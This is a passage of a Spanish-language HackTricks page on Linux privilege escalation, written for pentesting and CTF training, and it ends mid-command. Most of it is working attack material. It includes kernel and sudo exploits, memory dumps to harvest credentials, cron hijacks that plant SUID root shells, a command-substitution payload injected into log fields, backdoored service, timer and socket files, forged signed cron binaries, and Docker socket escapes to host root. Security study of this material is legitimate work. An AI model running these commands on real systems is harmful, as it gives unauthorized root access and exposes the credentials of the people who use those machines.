Linux Privilege Escalation
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información del sistema
Información del SO
Comencemos a recopilar información sobre el SO en ejecución
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
Path
Si tienes permisos de escritura en cualquier carpeta dentro de la variable PATH podrías ser capaz de secuestrar algunas librerías o binarios:
echo $PATH
Información del entorno
¿Información interesante, contraseñas o claves de API en las variables de entorno?
(env || set) 2>/dev/null
Kernel exploits
Comprueba la versión del kernel y si existe algún exploit que pueda usarse para escalar privilegios
cat /proc/version
uname -a
searchsploit "Linux Kernel"
Puedes encontrar una buena lista de kernels vulnerables y algunos compiled exploits aquí: https://github.com/lucyoa/kernel-exploits y exploitdb sploits.
Otros sitios donde puedes encontrar algunos compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack
Para extraer todas las versiones de kernel vulnerables de ese sitio web puedes hacer:
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
Herramientas que podrían ayudar a buscar kernel exploits son:
linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (ejecutar EN la víctima, sólo comprueba exploits para kernel 2.x)
Siempre busca la versión del kernel en Google, quizá tu versión del kernel esté mencionada en algún kernel exploit y así tendrás la certeza de que ese exploit es válido.
Técnicas adicionales de explotación del kernel:
Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw Arm64 Static Linear Map Kaslr Bypass
CVE-2016-5195 (DirtyCow)
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
Versión de Sudo
Basado en las versiones vulnerables de sudo que aparecen en:
searchsploit sudo
Puedes comprobar si la versión de sudo es vulnerable usando este grep.
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
Sudo < 1.9.17p1
Las versiones de Sudo anteriores a 1.9.17p1 (1.9.14 - 1.9.17 < 1.9.17p1) permiten a usuarios locales no privilegiados escalar sus privilegios a root mediante la opción sudo --chroot cuando el archivo /etc/nsswitch.conf se utiliza desde un directorio controlado por el usuario.
Here is a PoC to exploit that vulnerability. Antes de ejecutar el exploit, asegúrate de que tu versión de sudo sea vulnerable y que soporte la característica chroot.
Para más información, consulta el original vulnerability advisory
sudo < v1.8.28
De @sickrov
sudo -u#-1 /bin/bash
Dmesg signature verification failed
Revisa smasher2 box of HTB para un ejemplo de cómo esta vuln podría ser explotada
dmesg 2>/dev/null | grep "signature"
Más enumeración del sistema
date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
Enumerar posibles defensas
AppArmor
if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi
Grsecurity
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
PaX
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
Execshield
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
SElinux
(sestatus 2>/dev/null || echo "Not found sestatus")
ASLR
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled
Docker Breakout
Si estás dentro de un contenedor docker puedes intentar escapar de él:
Unidades
Comprueba qué está montado y qué está desmontado, dónde y por qué. Si algo está desmontado, podrías intentar montarlo y comprobar si contiene información privada.
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
Software útil
Enumera binarios útiles
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
Además, comprueba si hay algún compilador instalado. Esto es útil si necesitas usar algún kernel exploit, ya que se recomienda compilarlo en la máquina donde lo vas a usar (o en una similar).
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
Software vulnerable instalado
Comprueba la versión de los paquetes y servicios instalados. Puede que haya alguna versión antigua de Nagios (por ejemplo) que pueda ser explotada para escalar privilegios…
Se recomienda comprobar manualmente la versión del software instalado que parezca más sospechoso.
dpkg -l #Debian
rpm -qa #Centos
Si tienes acceso SSH a la máquina también puedes usar openVAS para comprobar si el software instalado está desactualizado o es vulnerable.
[!NOTE] > Ten en cuenta que estos comandos mostrarán mucha información que en su mayoría será inútil; por eso se recomienda usar aplicaciones como OpenVAS u otras similares que verifiquen si alguna versión de software instalada es vulnerable a exploits conocidos
Procesos
Revisa qué procesos se están ejecutando y comprueba si algún proceso tiene más privilegios de los que debería (¿quizás un tomcat ejecutándose como root?)
ps aux
ps -ef
top -n 1
Siempre revisa si hay electron/cef/chromium debuggers ejecutándose, podrías abusar de ellos para escalar privilegios. Linpeas detecta eso comprobando el parámetro --inspect dentro de la línea de comandos del proceso.
También revisa tus privilegios sobre los binarios de los procesos, quizá puedas sobrescribir alguno.
Monitoreo de procesos
Puedes usar herramientas como pspy para monitorizar procesos. Esto puede ser muy útil para identificar procesos vulnerables que se ejecutan frecuentemente o cuando se cumplen un conjunto de requisitos.
Memoria de procesos
Algunos servicios de un servidor guardan credenciales en texto claro dentro de la memoria.
Normalmente necesitarás privilegios root para leer la memoria de procesos que pertenecen a otros usuarios, por lo tanto esto suele ser más útil cuando ya eres root y quieres descubrir más credenciales.
Sin embargo, recuerda que como usuario normal puedes leer la memoria de los procesos que posees.
Warning
Ten en cuenta que hoy en día la mayoría de las máquinas no permiten ptrace por defecto, lo que significa que no puedes volcar otros procesos que pertenezcan a tu usuario sin privilegios.
El archivo /proc/sys/kernel/yama/ptrace_scope controla la accesibilidad de ptrace:
- kernel.yama.ptrace_scope = 0: todos los procesos pueden ser depurados, siempre que tengan el mismo uid. Esta es la forma clásica en que funcionaba ptrace.
- kernel.yama.ptrace_scope = 1: solo un proceso padre puede ser depurado.
- kernel.yama.ptrace_scope = 2: solo el admin puede usar ptrace, ya que requiere la capability CAP_SYS_PTRACE.
- kernel.yama.ptrace_scope = 3: no se pueden trazar procesos con ptrace. Una vez establecido, se necesita un reinicio para habilitar ptracing de nuevo.
GDB
Si tienes acceso a la memoria de un servicio FTP (por ejemplo) podrías obtener el Heap y buscar dentro sus credenciales.
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password
Script de GDB
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done
/proc/$pid/maps & /proc/$pid/mem
Para un ID de proceso dado, maps muestran cómo se asigna la memoria dentro del espacio de direcciones virtual de ese proceso; también muestra los permisos de cada región mapeada. El archivo pseudo mem expone la propia memoria del proceso. A partir del archivo maps sabemos qué regiones de memoria son legibles y sus desplazamientos (offsets). Usamos esta información para seek en el archivo mem y volcar todas las regiones legibles a un archivo.
procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)
/dev/mem
/dev/mem proporciona acceso a la memoria física del sistema, no a la memoria virtual. El espacio de direcciones virtuales del kernel puede accederse usando /dev/kmem.
Típicamente, /dev/mem solo es legible por root y el grupo kmem.
strings /dev/mem -n10 | grep -i PASS
ProcDump para linux
ProcDump es una reinterpretación para Linux de la clásica herramienta ProcDump de la suite Sysinternals para Windows. Consíguelo en https://github.com/Sysinternals/ProcDump-for-Linux
procdump -p 1714
ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.
Process: sleep (1714)
CPU Threshold: n/a
Commit Threshold: n/a
Thread Threshold: n/a
File descriptor Threshold: n/a
Signal: n/a
Polling interval (ms): 1000
Threshold (s): 10
Number of Dumps: 1
Output directory for core dumps: .
Press Ctrl-C to end monitoring without terminating the process.
[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714
Herramientas
Para volcar la memoria de un proceso puedes usar:
- https://github.com/Sysinternals/ProcDump-for-Linux
- https://github.com/hajzer/bash-memory-dump (root) - _Puedes eliminar manualmente los requisitos de root y volcar el proceso que te pertenece
- Script A.5 from https://www.delaat.net/rp/2016-2017/p97/report.pdf (se requiere root)
Credenciales desde la memoria del proceso
Ejemplo manual
Si encuentras que el proceso authenticator está en ejecución:
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
Puedes dump the process (ver las secciones anteriores para encontrar diferentes maneras de dump the memory of a process) y buscar credenciales dentro de la memory:
./dump-memory.sh 2027
strings *.dump | grep -i password
mimipenguin
La herramienta https://github.com/huntergregal/mimipenguin robará credenciales en texto claro de la memoria y de algunos archivos bien conocidos. Requiere privilegios root para funcionar correctamente.
| Característica | Nombre del proceso |
|---|---|
| Contraseña de GDM (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Conexiones FTP activas) | vsftpd |
| Apache2 (Sesiones HTTP Basic Auth activas) | apache2 |
| OpenSSH (Sesiones SSH activas - Uso de sudo) | sshd: |
Expresiones regulares de búsqueda/truffleproc
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
Tareas programadas/Cron jobs
Crontab UI (alseambusher) ejecutándose como root – planificador web para privesc
Si un panel web “Crontab UI” (alseambusher/crontab-ui) se ejecuta como root y solo está vinculado a loopback, aún puedes acceder a él mediante un reenvío de puerto local SSH y crear una tarea privilegiada para escalar.
Cadena típica
- Detectar puerto accesible solo desde loopback (p. ej., 127.0.0.1:8000) y el realm de Basic-Auth mediante
ss -ntlp/curl -v localhost:8000 - Encontrar credenciales en artefactos operativos:
- Copias de seguridad/scripts con
zip -P <password> - Unidad systemd que expone
Environment="BASIC_AUTH_USER=...",Environment="BASIC_AUTH_PWD=..." - Crear túnel e iniciar sesión:
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
- Crear un high-priv job y ejecutarlo inmediatamente (drops SUID shell):
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
- Úsalo:
/tmp/rootshell -p # root shell
Endurecimiento
- No ejecutes Crontab UI como root; restríngelo a un usuario dedicado con permisos mínimos
- Enlázalo a localhost y además restringe el acceso mediante firewall/VPN; no reutilices contraseñas
- Evita incrustar secretos en unit files; usa secret stores o EnvironmentFile accesible solo por root
- Habilita audit/logging para ejecuciones on-demand de jobs
Comprueba si algún job programado es vulnerable. Quizá puedas aprovechar un script ejecutado por root (wildcard vuln? ¿puedes modificar archivos que root utiliza? ¿usar symlinks? ¿crear archivos específicos en el directorio que root utiliza?).
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
Ruta de cron
Por ejemplo, dentro de /etc/crontab puedes encontrar el PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
(Nota cómo el usuario “user” tiene permisos de escritura sobre /home/user)
Si dentro de este crontab el usuario root intenta ejecutar algún comando o script sin establecer el PATH. Por ejemplo: * * * * root overwrite.sh
Entonces, puedes obtener un shell root usando:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
Cron usando un script con un wildcard (Wildcard Injection)
Si un script se ejecuta como root y tiene un “*” dentro de un comando, podrías explotarlo para provocar comportamientos inesperados (como privesc). Ejemplo:
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
Si el wildcard va precedido por una ruta como /some/path/* , no es vulnerable (incluso ./* no lo es).
Lee la siguiente página para más trucos de explotación de wildcard:
Bash arithmetic expansion injection in cron log parsers
Bash realiza parameter/variable expansion y command substitution antes de la arithmetic evaluation en ((…)), $((…)) y let. Si un cron/parser ejecutado por root lee campos de log no confiables y los pasa a un contexto aritmético, un atacante puede inyectar una command substitution $(…) que se ejecuta como root cuando se ejecuta el cron.
-
Por qué funciona: En Bash, las expansiones ocurren en este orden: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. Así que un valor como
$(/bin/bash -c 'id > /tmp/pwn')0se sustituye primero (ejecutando el comando), luego el0numérico restante se usa para la aritmética de modo que el script continúa sin errores. -
Typical vulnerable pattern:
#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count )) # or: let "n=$count"
done < /var/www/app/log/application.log
- Explotación: Hacer que texto controlado por el atacante se escriba en el log parseado de modo que el campo con apariencia numérica contenga una command substitution y termine con un dígito. Asegúrate de que tu comando no imprima en stdout (o redirígelo) para que la aritmética siga siendo válida.
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.
Cron script overwriting and symlink
Si puedes modificar un cron script ejecutado por root, puedes obtener una shell muy fácilmente:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
Si el script ejecutado por root usa un directorio donde tienes acceso total, quizá podría ser útil eliminar esa carpeta y crear una carpeta symlink que apunte a otra que sirva un script controlado por ti
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
Binarios cron firmados a medida con payloads escribibles
Blue teams a veces “firman” binarios ejecutados por cron volcando una sección ELF personalizada y haciendo grep de una cadena del proveedor antes de ejecutarlos como root. Si ese binario es escribible por el grupo (p.ej., /opt/AV/periodic-checks/monitor owned by root:devs 770) y you can leak the signing material, puedes forjar la sección y secuestrar la tarea de cron:
- Use
pspyto capture the verification flow. In Era, root ranobjcopy --dump-section .text_sig=text_sig_section.bin monitorfollowed bygrep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.binand then executed the file. - Recrea el certificado esperado usando the leaked key/config (from
signing.zip):
openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem
- Construye un reemplazo malicioso (p.ej., drop a SUID bash, add your SSH key) e incrusta el certificado en
.text_sigpara que el grep pase:
gcc -fPIC -pie monitor.c -o monitor
objcopy --add-section .text_sig=cert.pem monitor
objcopy --dump-section .text_sig=text_sig_section.bin monitor
strings text_sig_section.bin | grep 'Era Inc.'
- Sobrescribe el binario programado preservando los bits de ejecución:
cp monitor /opt/AV/periodic-checks/monitor
chmod 770 /opt/AV/periodic-checks/monitor
- Espera la siguiente ejecución de cron; una vez que la comprobación de firma ingenua tenga éxito, tu payload se ejecutará como root.
Tareas cron frecuentes
Puedes monitorizar los procesos para buscar aquellos que se ejecutan cada 1, 2 o 5 minutos. Quizá puedas aprovecharlo y escalar privilegios.
Por ejemplo, para monitorizar cada 0.1s durante 1 minuto, ordenar por los comandos menos ejecutados y eliminar los comandos que se han ejecutado más, puedes hacer:
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
También puedes usar pspy (esto monitoreará y listará cada proceso que se inicie).
Cron jobs invisibles
Es posible crear un cronjob poniendo un retorno de carro después de un comentario (sin el carácter de nueva línea), y el cronjob funcionará. Ejemplo (nota el carácter de retorno de carro):
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
Servicios
Archivos .service escribibles
Comprueba si puedes escribir algún archivo .service; si puedes, podrías modificarlo para que ejecute tu backdoor cuando el servicio esté iniciado, reiniciado o detenido (quizá necesites esperar hasta que la máquina se reinicie).
Por ejemplo, crea tu backdoor dentro del archivo .service con ExecStart=/tmp/script.sh
Binarios de servicio escribibles
Ten en cuenta que si tienes permisos de escritura sobre binarios que son ejecutados por servicios, puedes modificarlos para introducir backdoors, de modo que cuando los servicios vuelvan a ejecutarse los backdoors se ejecuten.
systemd PATH - Rutas relativas
Puedes ver el PATH usado por systemd con:
systemctl show-environment
Si descubres que puedes escribir en cualquiera de las carpetas de la ruta, podrías escalate privileges. Debes buscar rutas relativas utilizadas en los archivos de configuración de servicios como:
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
Luego, crea un executable con el mismo nombre que el relative path binary dentro de la carpeta del PATH de systemd que puedas escribir, y cuando se le pida al servicio ejecutar la acción vulnerable (Start, Stop, Reload), tu backdoor será ejecutado (los usuarios sin privilegios normalmente no pueden iniciar/detener servicios, pero comprueba si puedes usar sudo -l).
Aprende más sobre los servicios con man systemd.service.
Temporizadores
Los Temporizadores son archivos de unidad de systemd cuyo nombre termina en **.timer** que controlan archivos o eventos **.service**. Los Temporizadores pueden usarse como alternativa a cron, ya que tienen soporte integrado para eventos de calendario y eventos de tiempo monotónico y pueden ejecutarse de forma asíncrona.
Puedes enumerar todos los temporizadores con:
systemctl list-timers --all
Temporizadores escribibles
Si puedes modificar un timer, puedes hacer que ejecute algunas unidades de systemd.unit (como un .service o un .target)
Unit=backdoor.service
En la documentación puedes leer qué es la Unit:
La unidad que se activa cuando este timer expira. El argumento es un nombre de unidad, cuyo sufijo no es “.timer”. Si no se especifica, este valor por defecto corresponde a un service que tiene el mismo nombre que la unidad timer, excepto por el sufijo. (Véase arriba.) Se recomienda que el nombre de la unidad que se activa y el nombre de la unidad del timer tengan el mismo nombre, excepto por el sufijo.
Por lo tanto, para abusar de este permiso necesitarías:
- Encontrar alguna unidad systemd (como un
.service) que esté ejecutando un binario escribible - Encontrar alguna unidad systemd que esté ejecutando una ruta relativa y sobre la cual tengas privilegios de escritura en el systemd PATH (para suplantar ese ejecutable)
Obtén más información sobre timers con man systemd.timer.
Habilitar Timer
Para habilitar un timer necesitas privilegios root y ejecutar:
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
Note the timer is activated by creating a symlink to it on /etc/systemd/system/<WantedBy_section>.wants/<name>.timer
Sockets
Unix Domain Sockets (UDS) enable comunicación entre procesos en la misma o en distintas máquinas dentro de modelos cliente-servidor. Utilizan archivos descriptor estándar de Unix para la comunicación entre equipos y se configuran mediante archivos .socket.
Sockets can be configured using .socket files.
Aprende más sobre sockets con man systemd.socket. Dentro de este archivo se pueden configurar varios parámetros interesantes:
ListenStream,ListenDatagram,ListenSequentialPacket,ListenFIFO,ListenSpecial,ListenNetlink,ListenMessageQueue,ListenUSBFunction: Estas opciones son diferentes pero, en resumen, se usan para indicar dónde va a escuchar el socket (la ruta del archivo de socket AF_UNIX, la dirección IPv4/6 y/o el número de puerto a escuchar, etc.).Accept: Acepta un argumento booleano. Si true, se crea una instancia de service por cada conexión entrante y solo se le pasa el socket de la conexión. Si false, todos los sockets de escucha se pasan a la unidad de service iniciada, y solo se crea una unidad de service para todas las conexiones. Este valor se ignora para sockets de datagramas y FIFOs, donde una única unidad de service maneja incondicionalmente todo el tráfico entrante. Por defecto es false. Por razones de rendimiento, se recomienda escribir nuevos daemons únicamente de una forma compatible conAccept=no.ExecStartPre,ExecStartPost: Aceptan una o más líneas de comando, que se ejecutan antes o después de que los sockets/FIFOs de escucha sean creados y vinculados, respectivamente. El primer token de la línea de comando debe ser un nombre de archivo absoluto, seguido de los argumentos del proceso.ExecStopPre,ExecStopPost: Comandos adicionales que se ejecutan antes o después de que los sockets/FIFOs de escucha sean cerrados y eliminados, respectivamente.Service: Especifica el nombre de la unidad de service a activar con tráfico entrante. Esta configuración solo está permitida para sockets con Accept=no. Por defecto apunta al service que tiene el mismo nombre que el socket (con el sufijo reemplazado). En la mayoría de los casos no debería ser necesario usar esta opción.
Writable .socket files
Si encuentras un archivo .socket writable puedes añadir al comienzo de la sección [Socket] algo como: ExecStartPre=/home/kali/sys/backdoor y el backdoor se ejecutará antes de que se cree el socket. Por lo tanto, probablemente necesitarás esperar hasta que la máquina se reinicie.
Note that the system must be using that socket file configuration or the backdoor won’t be executed
Writable sockets
Si identificas algún socket writable (ahora hablamos de Unix Sockets y no de los archivos de configuración .socket), entonces puedes comunicarte con ese socket y quizá explotar una vulnerabilidad.
Enumerate Unix Sockets
netstat -a -p --unix
Conexión raw
#apt-get install netcat-openbsd
nc -U /tmp/socket #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
Ejemplo de explotación:
HTTP sockets
Ten en cuenta que puede haber algunos sockets escuchando peticiones HTTP (no me refiero a archivos .socket sino a los archivos que actúan como unix sockets). Puedes comprobarlo con:
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
Si el socket responde a una petición HTTP, entonces puedes comunicarte con él y quizá exploit alguna vulnerabilidad.
Socket de Docker escribible
El Docker socket, a menudo ubicado en /var/run/docker.sock, es un archivo crítico que debería estar asegurado. Por defecto, es escribible por el usuario root y los miembros del grupo docker. Tener acceso de escritura a este socket puede llevar a privilege escalation. Aquí hay un desglose de cómo se puede hacer y métodos alternativos si el Docker CLI no está disponible.
Privilege Escalation with Docker CLI
If you have write access to the Docker socket, you can escalate privileges using the following commands:
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
Estas comandos te permiten ejecutar un container con acceso root al sistema de archivos del host.
Using Docker API Directly
En casos donde el Docker CLI no está disponible, el Docker socket todavía puede manipularse usando el Docker API y comandos curl.
- List Docker Images: Recupera la lista de imágenes disponibles.
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
- Create a Container: Envía una petición para crear un container que monte el directorio raíz del host.
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
Inicia el container recién creado:
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
- Attach to the Container: Usa
socatpara establecer una conexión con el container, permitiendo ejecutar comandos dentro de él.
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
Después de establecer la conexión con socat, puedes ejecutar comandos directamente en el container con acceso root al sistema de archivos del host.
Others
Ten en cuenta que si tienes permisos de escritura sobre el docker socket porque estás inside the group docker tienes more ways to escalate privileges. Si la docker API is listening in a port you can also be able to compromise it.
Consulta más maneras de escapar de docker o abusarlo para escalar privilegios en:
Containerd (ctr) escalada de privilegios
Si descubres que puedes usar el comando ctr lee la siguiente página ya que puedes ser capaz de abusar de él para escalar privilegios:
Containerd (ctr) Privilege Escalation
RunC escalada de privilegios
Si descubres que puedes usar el comando runc lee la siguiente página ya que puedes ser capaz de abusar de él para escalar privilegios:
D-Bus
D-Bus es un sofisticado sistema de inter-Process Communication (IPC) que permite a las aplicaciones interactuar y compartir datos de forma eficiente. Diseñado pensando en el sistema Linux moderno, ofrece un marco robusto para diferentes formas de comunicación entre aplicaciones.
El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, similar a enhanced UNIX domain sockets. Además, ayuda en la difusión de eventos o señales, fomentando la integración fluida entre componentes del sistema. Por ejemplo, una señal de un daemon de Bluetooth sobre una llamada entrante puede provocar que un reproductor de música se silencie, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando solicitudes de servicio e invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos.
D-Bus opera con un modelo allow/deny, gestionando permisos de mensajes (llamadas a métodos, emisión de señales, etc.) basado en el efecto acumulado de las reglas de política que coinciden. Estas políticas especifican interacciones con el bus, y potencialmente pueden permitir una escalada de privilegios mediante la explotación de dichos permisos.
Se ofrece un ejemplo de tal política en /etc/dbus-1/system.d/wpa_supplicant.conf, detallando permisos para el usuario root para poseer, enviar y recibir mensajes de fi.w1.wpa_supplicant1.
Las políticas sin un usuario o grupo especificado se aplican de forma universal, mientras que las políticas en el contexto “default” se aplican a todos los no cubiertos por otras políticas específicas.
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>
Aprende cómo enumerar y explotar una comunicación D-Bus aquí:
D-Bus Enumeration & Command Injection Privilege Escalation
Red
Siempre es interesante enumerar la red y determinar la posición de la máquina.
Enumeración genérica
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname
#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf
#Interfaces
cat /etc/networks
(ifconfig || ip a)
#Neighbours
(arp -e || arp -a)
(route || ip n)
#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)
#Files used by network services
lsof -i
Open ports
Siempre comprueba los servicios de red que se estén ejecutando en la máquina con los que no pudiste interactuar antes de acceder a ella:
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
Sniffing
Comprueba si puedes sniff traffic. Si puedes, podrías ser capaz de capturar algunas credenciales.
timeout 1 tcpdump
Usuarios
Enumeración genérica
Comprueba quién eres, qué privilegios tienes, qué usuarios hay en los sistemas, cuáles pueden login y cuáles tienen root privileges:
#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog
#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null
UID grande
Algunas versiones de Linux se vieron afectadas por un bug que permite a usuarios con UID > INT_MAX escalar privilegios. Más info: here, here and here.
Explótalo usando: systemd-run -t /bin/bash
Grupos
Comprueba si eres miembro de algún grupo que pueda otorgarte privilegios root:
Interesting Groups - Linux Privesc
Portapapeles
Comprueba si hay algo interesante en el portapapeles (si es posible)
if [ `which xclip 2>/dev/null` ]; then
